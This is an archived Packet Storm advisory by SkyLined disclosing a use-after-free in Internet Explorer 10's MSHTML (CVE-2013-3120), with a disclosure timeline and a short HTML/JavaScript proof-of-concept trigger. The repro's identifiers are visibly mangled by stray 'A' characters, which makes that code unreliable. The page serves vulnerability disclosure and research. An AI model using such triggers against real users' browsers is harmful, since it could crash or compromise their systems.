what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Internet Explorer 10 MSHTML CEditAdorner::Detach Use-After-Free

Microsoft Internet Explorer 10 MSHTML CEditAdorner::Detach Use-After-Free
Posted Nov 25, 2016
Authored by SkyLined

A specially crafted web-page can cause Microsoft Internet Explorer 10 to continue to use an object after freeing the memory used to store the object. An attacker might be able to exploit this issue to execute arbitrary code.

tags | exploit, web, arbitrary
advisories | CVE-2013-3120
SHA-256 | 280f6bbd3b893f6ed43cb5145b66686fa4ee9ba2175cea9921b79d70736f92c8

Microsoft Internet Explorer 10 MSHTML CEditAdorner::Detach Use-After-Free

Change Mirror Download
Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
nineteenth entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161125001.html. There you can find a repro
that triggered this issue in addition to the information below.
Today's release is a bit skimpy as it was found over 3 years ago, back
when I did not have the tool-set to analyze issues that I have today.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 10 MSHTML CEditAdorner::Detach use-after-free
==================================================
(MS13-047, CVE-2013-3120)

Synopsis
--------
A specially crafted web-page can cause Microsoft Internet Explorer 10 to
continue to use an object after freeing the memory used to store the
object. An attacker might be able to exploit this issue to execute
arbitrary code.

Known affected software and attack vectors
------------------------------------------
+ Microsoft Internet Explorer 10

An attacker would need to get a target user to open a specially
crafted web-page. Disabling Javascript should prevent an attacker
from triggering the vulnerable code path.

Details
-------
The last line of script (`designMode = "off"`) will cause some cleanup
in MSIE, which appears to trigger use of a stale pointer in
`CEditAdorner::Detach`. I did not investigate further.

Time-line
---------
* November 2012: This vulnerability was found through fuzzing.
* November 2012: This vulnerability was submitted to EIP.
* December 2012: This vulnerability was rejected by EIP.
* January 2013: This vulnerability was submitted to ZDI.
* March 2013: This vulnerability was acquired by ZDI.
* June 2013: This issue was addressed by Microsoft in MS13-047.
* November 2016: Details of this issue are released.

Cheers,

SkyLined



Repro.html

<!DOCTYPE html>
<html>
<head>
<script>
var oAWindow = window.open("window.xhtml");
setAInterval(function () {
try {
oAWindow.eval("(" + function () {
document.designAMode = "on";
document.execACommand("SelectAAll");
var oASelection = window.getASelection();
oASelection.collapse(document,1);
document.execACommand("InsertAImage", false);
document.designAMode="off";
} + ")()");
} catch (e) {}
}, 1);
</script>
</head>
</html>

Window.xhtml

<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">
</html>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close